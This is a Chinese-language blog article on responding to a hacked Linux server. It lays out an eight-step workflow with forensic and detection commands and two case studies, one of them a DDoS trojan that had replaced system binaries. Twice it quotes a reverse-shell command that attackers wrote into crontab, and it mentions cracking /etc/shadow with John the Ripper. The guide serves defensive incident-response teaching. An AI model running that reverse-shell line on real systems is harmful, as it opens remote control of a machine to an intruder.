過(guò)年了,讓你的服務(wù)器提高警惕!

作者介紹:林偉壕網(wǎng)絡(luò)安全 DevOps 新司機(jī),先后在中國(guó)電信和網(wǎng)易游戲從事數(shù)據(jù)網(wǎng)絡(luò)、網(wǎng)絡(luò)安全和游戲運(yùn)維工作。對(duì) Linux 運(yùn)維、虛擬化和網(wǎng)絡(luò)安全防護(hù)等研究頗多,目前專(zhuān)注于網(wǎng)絡(luò)安全自動(dòng)化檢測(cè)、防御系統(tǒng)構(gòu)建。

遇到服務(wù)器被黑,很多人會(huì)采用拔網(wǎng)線(xiàn)、封 iptables 或者關(guān)掉所有服務(wù)的方式應(yīng)急,但如果是線(xiàn)上服務(wù)器就不能立即采用任何影響業(yè)務(wù)的手段了,需要根據(jù)服務(wù)器業(yè)務(wù)情況分類(lèi)處理。

下面我們看一個(gè)標(biāo)準(zhǔn)的服務(wù)器安全應(yīng)急影響應(yīng)該怎么做,也算是筆者從事安全事件應(yīng)急近 6 年以來(lái)的一些經(jīng)驗(yàn)之談,借此拋磚引玉,希望大神們不吝賜教。

如上圖,將服務(wù)器安全應(yīng)急響應(yīng)流程分為如下 8 個(gè)環(huán)節(jié):

發(fā)現(xiàn)安全事件(核實(shí))

現(xiàn)場(chǎng)保護(hù)

服務(wù)器保護(hù)

影響范圍評(píng)估

在線(xiàn)分析

數(shù)據(jù)備份

深入分析

事件報(bào)告整理

接下來(lái)我們將每個(gè)環(huán)節(jié)分解,看看需要如何斷開(kāi)異常連接、排查入侵源頭、避免二次入侵等。

核實(shí)信息(運(yùn)維 / 安全人員)

根據(jù)安全事件通知源的不同,分為兩種:

外界通知:和報(bào)告人核實(shí)信息,確認(rèn)服務(wù)器 / 系統(tǒng)是否被入侵?,F(xiàn)在很多企業(yè)有自己的 SRC(安全響應(yīng)中心),在此之前更多的是依賴(lài)某云。這種情況入侵的核實(shí)一般是安全工程師完成。

自行發(fā)現(xiàn):根據(jù)服務(wù)器的異常或故障判斷,比如對(duì)外發(fā)送大規(guī)模流量或者系統(tǒng)負(fù)載異常高等,這種情況一般是運(yùn)維工程師發(fā)現(xiàn)并核實(shí)的。

現(xiàn)場(chǎng)保護(hù)(運(yùn)維)

我們很多人看過(guò)大陸的電視劇《重案六組》,每次接到刑事案件,刑警們第一時(shí)間就是封鎖現(xiàn)場(chǎng)、保存現(xiàn)場(chǎng)原狀。

同樣道理,安全事件發(fā)生現(xiàn)場(chǎng),跟刑事案件發(fā)生現(xiàn)場(chǎng)一樣,需要保存第一現(xiàn)場(chǎng)重要信息,方便后面入侵檢測(cè)和取證。

保存現(xiàn)場(chǎng)環(huán)境 (截圖)

相關(guān)信息采集命令如下:

進(jìn)程信息:ps axu

網(wǎng)絡(luò)信息:netstat –a

網(wǎng)絡(luò) + 進(jìn)程:lsof / netstat -p

攻擊者登陸情況 (截圖)

相關(guān)信息采集命令如下:

查看當(dāng)前登錄用戶(hù):w 或 who -a

服務(wù)器保護(hù)(運(yùn)維 / 機(jī)房)

這里的現(xiàn)場(chǎng)保護(hù)和服務(wù)器保護(hù)是兩個(gè)不同的環(huán)節(jié),前者注重取證,后者注重環(huán)境隔離。

核實(shí)機(jī)器被入侵后,應(yīng)當(dāng)盡快將機(jī)器保護(hù)起來(lái),避免被二次入侵或者當(dāng)成跳板擴(kuò)大攻擊面。

此時(shí),為保護(hù)服務(wù)器和業(yè)務(wù),避免服務(wù)器被攻擊者繼續(xù)利用,應(yīng)盡快遷移業(yè)務(wù),立即下線(xiàn)機(jī)器。

如果不能立即處理,應(yīng)當(dāng)通過(guò)配置網(wǎng)絡(luò) ACL 等方式,封掉該服務(wù)器對(duì)網(wǎng)絡(luò)的雙向連接。

影響范圍評(píng)估(運(yùn)維 / 開(kāi)發(fā))

一般是運(yùn)維或者程序確認(rèn)影響范圍,需要運(yùn)維通過(guò)日志或者監(jiān)控圖表確認(rèn)數(shù)據(jù)庫(kù)或者敏感文件是否泄露,如果是代碼或者數(shù)據(jù)庫(kù)泄露了,則需要程序評(píng)估危害情況與處置方法。

影響訪(fǎng)問(wèn)評(píng)估一般從下面幾點(diǎn)來(lái)入手:

具體業(yè)務(wù)架構(gòu):Web(PHP/Java, WebServer), Proxy, DB 等。

IP 及所處區(qū)域拓?fù)涞?/b>:VLAN 內(nèi)服務(wù)器和應(yīng)用情況。

確定同一網(wǎng)絡(luò)下面服務(wù)器之間的訪(fǎng)問(wèn):可以互相登陸,是否需要 Key 或者是密碼登錄。

由此確定檢查影響范圍,確認(rèn)所有受到影響的網(wǎng)段和機(jī)器。

在線(xiàn)分析(安全人員 / 運(yùn)維)

這時(shí)需要根據(jù)個(gè)人經(jīng)驗(yàn)快速在線(xiàn)分析,一般是安全人員和運(yùn)維同時(shí)在線(xiàn)處理,不過(guò)會(huì)涉及多人協(xié)作的問(wèn)題,需要避免多人操作機(jī)器時(shí)破壞服務(wù)器現(xiàn)場(chǎng),造成分析困擾。

之前筆者遇到一個(gè)類(lèi)似的問(wèn)題,就是運(yùn)維排查時(shí)敲錯(cuò)了 iptables 的命令,將 iptables -L 敲成 iptables -i 導(dǎo)致 iptables-save 時(shí)出現(xiàn)異常記錄,結(jié)果安全人員上來(lái)檢查時(shí)就被這條記錄迷惑了,導(dǎo)致處理思路受到一定干擾。

所有用戶(hù) History 日志檢測(cè)

關(guān)鍵字:wget/curl, gcc, 或者隱藏文件, 敏感文件后綴(.c,.py,conf, .pl, .sh)。

檢查是否存在異常用戶(hù)。

檢查最近添加的用戶(hù),是否有不知名用戶(hù)或不規(guī)范提權(quán)。

找出 root 權(quán)限的用戶(hù)。

可以執(zhí)行以下命令檢查:

grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 {print $1}'

反連木馬判斷

netstat –a

注意非正常端口的外網(wǎng) IP

可疑進(jìn)程判斷

判斷是否為木馬 ps –aux

重點(diǎn)關(guān)注文件(隱藏文件), Python 腳本,Perl 腳本,Shell 腳本(bash/sh/zsh)。

使用 which,whereis,find 定位。

Crontab 檢測(cè)

不要用 crontab –l 查看 crontab(繞過(guò)檢測(cè)),也有通過(guò)寫(xiě) crontab 配置文件反彈 Shell 的,筆者接觸過(guò)幾次,一般都是使用的 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1。

系統(tǒng)日志檢測(cè)

檢查 sshd 服務(wù)配置文件 /etc/ssh/sshd_config 和系統(tǒng)認(rèn)證日志 auth、message,判斷是否為口令破解攻擊。

/etc/ssh/sshd_config 文件確認(rèn)認(rèn)證方式。

確認(rèn)日志是否被刪除或者清理過(guò)的可能(大小判斷)。

last/lastb 可以作為輔助,不過(guò)可能不準(zhǔn)確。

NHIDS 正常運(yùn)行判斷

是否安裝:ls /etc/ossec

是否運(yùn)行正常:ps axu |grep nhids,三個(gè) nhids 進(jìn)程則表示正常

其他攻擊分析

抓取網(wǎng)絡(luò)數(shù)據(jù)包并進(jìn)行分析,判斷是否為拒絕服務(wù)攻擊,這里需要注意,一定要使用 -w 參數(shù),這樣才能保存成 pcap 格式導(dǎo)入到 wireshark,這樣分析起來(lái)會(huì)事半功倍。

tcpdump -w tcpdump.log

安全相關(guān)的關(guān)鍵文件和數(shù)據(jù)備份(運(yùn)維)

可以同步進(jìn)行,使用 sftp/rsync 等將日志上傳到安全的服務(wù)器:

打包系統(tǒng)日志:參考:$ tar -jcvf syslog.tar.bz2 /var/log

打包 Web 日志:access log

打包 History 日志(所有用戶(hù)),參考:$ cp /home/user/,history user_history

打包 crontab 記錄

打包密碼文件:/etc/passwd, /etc/shadow

打包可疑文件、后門(mén)、Shell 信息

深入分析(安全人員)

初步鎖定異常進(jìn)程和惡意代碼后,將受影響范圍梳理清楚,封禁了入侵者對(duì)機(jī)器的控制后,接下來(lái)需要深入排查入侵原因。一般可以從 Webshell、開(kāi)放端口服務(wù)等方向順藤摸瓜。

Webshell 入侵

使用 Webshell_check.py 腳本檢測(cè) Web 目錄:

$ python webshell_check.py /var/www/ >result.txt

查找 Web 目錄下所有 nobody 的文件,人工分析:

$ find /var/www –user nobody >nobody.txt

如果能確定入侵時(shí)間,可以使用 find 查找最近時(shí)間段內(nèi)變化的文件:

$ find / -type f -name ".?*" |xargs ls -l |grep "Mar 22"

$ find / -ctime/-mtime 8

利用 Web 漏洞直接反連 Shell

分析 access.log:

縮小日志范圍:時(shí)間,異常 IP 提取。

攻擊行為提?。?/b>常見(jiàn)的攻擊 exp 識(shí)別。

系統(tǒng)弱口令入侵

認(rèn)證相關(guān)日志 auth/syslog/message 排查:

爆破行為定位和 IP 提取。

爆破是否成功確定:有爆破行為 IP 是否有 accept 記錄。

如果日志已經(jīng)被清理,使用工具(比如 John the Ripper)爆破 /etc/passwd,/etc/shadow。

其他入侵

其他服務(wù)器跳板到本機(jī)。

后續(xù)行為分析

History 日志:提權(quán)、增加后門(mén),以及是否被清理。

Sniffer:網(wǎng)卡混雜模式檢測(cè) ifconfig |grep –i proc。

內(nèi)網(wǎng)掃描:網(wǎng)絡(luò) nmap/ 掃描器,socks5 代理。

確定是否有 rootkit:rkhunter, chkrootkit, ps/netstat 替換確認(rèn)。

后門(mén)清理排查

根據(jù)時(shí)間點(diǎn)做關(guān)聯(lián)分析:查找那個(gè)時(shí)間段的所有文件。

一些小技巧:/tmp 目錄, ls –la,查看所有文件,注意隱藏的文件。

根據(jù)用戶(hù)做時(shí)間關(guān)聯(lián):比如 nobody。

其他機(jī)器的關(guān)聯(lián)操作

其他機(jī)器和這臺(tái)機(jī)器的網(wǎng)絡(luò)連接 (日志查看)、相同業(yè)務(wù)情況(同樣業(yè)務(wù),負(fù)載均衡)。

整理事件報(bào)告(安全人員)

事件報(bào)告應(yīng)包含但不限于以下幾個(gè)點(diǎn):

分析事件發(fā)生原因:事件為什么會(huì)發(fā)生的原因。

分析整個(gè)攻擊流程:時(shí)間點(diǎn)、操作。

分析事件處理過(guò)程:整個(gè)事件處理過(guò)程總結(jié)是否有不足。

分析事件預(yù)防:如何避免事情再次發(fā)生。

總結(jié):總結(jié)事件原因,改進(jìn)處理過(guò)程,預(yù)防類(lèi)似事件再次發(fā)生。

處理中遇到的比較棘手的事情

日志和操作記錄全被刪了,怎么辦?

strace 查看 losf 進(jìn)程,再?lài)L試恢復(fù)一下日志記錄,不行的話(huà)鏡像硬盤(pán)數(shù)據(jù)慢慢查。這個(gè)要用到一些取證工具了,dd 硬盤(pán)數(shù)據(jù)再去還原出來(lái)。

系統(tǒng)賬號(hào)密碼都修改了,登不進(jìn)去?

重啟進(jìn)單用戶(hù)模式修改 root 密碼,或者通過(guò)控制卡操作,或者直接還原系統(tǒng),都搞不定就直接重裝吧。

使用常見(jiàn)的入侵檢測(cè)命令未發(fā)現(xiàn)異常進(jìn)程,但是機(jī)器在對(duì)外發(fā)包,這是怎么回事?

這種情況下很可能常用的系統(tǒng)命令已經(jīng)被攻擊者或者木馬程序替換,可以通過(guò) md5sum 對(duì)比本機(jī)二進(jìn)制文件與正常機(jī)器的 md5 值是否一致。

如果發(fā)現(xiàn)不一致,肯定是被替換了,可以從其他機(jī)器上拷貝命令到本機(jī)替換,或者 alias 為其他名稱(chēng),避免為惡意程序再次替換。

被 getshell 怎么辦?

漏洞修復(fù)前,系統(tǒng)立即下線(xiàn),用內(nèi)網(wǎng)環(huán)境訪(fǎng)問(wèn)。

上傳點(diǎn)放到內(nèi)網(wǎng)訪(fǎng)問(wèn),不允許外網(wǎng)有類(lèi)似的上傳點(diǎn),有上傳點(diǎn),而且沒(méi)有校驗(yàn)文件類(lèi)型很容易上傳 Webshell。

被 getshell 的服務(wù)器中是否有敏感文件和數(shù)據(jù)庫(kù),如果有請(qǐng)檢查是否有泄漏。

hosts 文件中對(duì)應(yīng)的 host 關(guān)系需要重新配置,攻擊者可以配置 hosts 來(lái)訪(fǎng)問(wèn)測(cè)試環(huán)境。

重裝系統(tǒng)。

案例分析

上面講了很多思路的東西,相信大家更想看看實(shí)際案例,下面介紹兩個(gè)案例。

案例 1

一個(gè)別人處理的案例,基本處理過(guò)程如下:

通過(guò)外部端口掃描收集開(kāi)放端口信息,然后獲取到反彈 Shell 信息,登陸機(jī)器發(fā)現(xiàn)關(guān)鍵命令已經(jīng)被替換,后面查看 History 記錄,發(fā)現(xiàn)疑似木馬文件,通過(guò)簡(jiǎn)單逆向和進(jìn)程查看發(fā)現(xiàn)了異常進(jìn)程,從而鎖定了入侵原因。

具體內(nèi)容可以查看:http://www.freebuf.com/articles/system/50728.html

案例 2

一個(gè)筆者實(shí)際處理過(guò)的案例,基本處理流程跟上面提到的思路大同小異。

整個(gè)事情處理經(jīng)過(guò)大致如下:

1、運(yùn)維發(fā)現(xiàn)一臺(tái)私有云主機(jī)間歇性的對(duì)外發(fā)送高達(dá) 800Mbps 的流量,影響了同一個(gè)網(wǎng)段的其他機(jī)器。

2、安全人員接到通知后,先確認(rèn)了機(jī)器屬于備機(jī),沒(méi)有跑在線(xiàn)業(yè)務(wù),于是通知運(yùn)維封禁 iptables 限制外網(wǎng)訪(fǎng)問(wèn)。

3、運(yùn)維為安全人員臨時(shí)開(kāi)通機(jī)器權(quán)限,安全人員通過(guò) History 和 ps 找到的入侵記錄和異常進(jìn)程鎖定了對(duì)外大量發(fā)包的應(yīng)用程序,清理了惡意進(jìn)程并刪除惡意程序。

惡意進(jìn)程如下,經(jīng)過(guò)在網(wǎng)絡(luò)搜索發(fā)現(xiàn)是一種 DDOS 木馬,但沒(méi)有明確的處理思路:

/usr/bin/bsd-port/getty/usr/bin/acpid./dbuspm-session /sbin/DDosClient RunByP4407/sbin/DDosClient RunByPM4673

處理過(guò)程中,安全人員懷疑系統(tǒng)文件被替換,通過(guò)對(duì)比該機(jī)器與正常機(jī)器上面的 ps、netstat 等程序的大小發(fā)現(xiàn)敏感程序已經(jīng)被替換,而且 mtime 也被修改。

正常機(jī)器:

du -sh /bin/ps

92K /bin/ps

du -sh /bin/netstat

120K /bin/netstat

被入侵機(jī)器:

du -sh /bin/netstat

2.0M /bin/netstat

du -sh /bin/ps

2.0M /bin/ps

將部分常用二進(jìn)制文件修復(fù)后,發(fā)現(xiàn)異常進(jìn)程被 kill 掉后仍重啟了,于是安裝殺毒軟件 clamav 和 rootkit hunter 進(jìn)行全盤(pán)掃描。

從而確認(rèn)了被感染的所有文件,將那些可以刪除的文件刪除后再次 kill 掉異常進(jìn)程,則再?zèng)]有重啟的問(wèn)題。

4、影響范圍評(píng)估

由于該機(jī)器只是備機(jī),上面沒(méi)有敏感數(shù)據(jù),于是信息泄露問(wèn)題也就不存在了。

掃描同一網(wǎng)段機(jī)器端口開(kāi)放情況、排查被入侵機(jī)器 History 是否有對(duì)外掃描或者入侵行為,為此還在該網(wǎng)段機(jī)器另外部署蜜罐進(jìn)行監(jiān)控。

5、深入分析入侵原因

通過(guò)被入侵機(jī)器所跑服務(wù)、iptables 狀態(tài),確認(rèn)是所跑服務(wù)支持遠(yuǎn)程命令執(zhí)行。

并且機(jī)器 iptables 為空導(dǎo)致黑客通過(guò)往 /etc/crontab 中寫(xiě)“bash -i >& /dev/tcp/10.0.0.1/8080 0>&1”命令方式進(jìn)行 Shell 反彈,從而入侵了機(jī)器。

6、驗(yàn)證修復(fù)、機(jī)器下線(xiàn)重裝

進(jìn)行以上修復(fù)操作后,監(jiān)控未發(fā)現(xiàn)再有異常,于是將機(jī)器下線(xiàn)重裝。

7、完成安全事件處理報(bào)告

每次安全事件處理后,都應(yīng)當(dāng)整理成報(bào)告,不管是知識(shí)庫(kù)的構(gòu)建,還是統(tǒng)計(jì)分析安全態(tài)勢(shì),都是很有必要的。

這次主要介紹了服務(wù)器被入侵時(shí)推薦的一套處理思路。實(shí)際上,安全防護(hù)跟運(yùn)維思路一樣,都是要防患于未然,這時(shí)候的審計(jì)或者響應(yīng)很難避免危害的發(fā)生了。

我們更希望通過(guò)安全意識(shí)教育、安全制度的建設(shè),在問(wèn)題顯露端倪時(shí)即可消弭于無(wú)形。

作者:林偉壕

鏈接:http://www.3xmq.com/article/1517231176077

來(lái)源:架構(gòu)師小秘圈

著作權(quán)歸作者所有。商業(yè)轉(zhuǎn)載請(qǐng)聯(lián)系作者獲得授權(quán),非商業(yè)轉(zhuǎn)載請(qǐng)注明出處。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容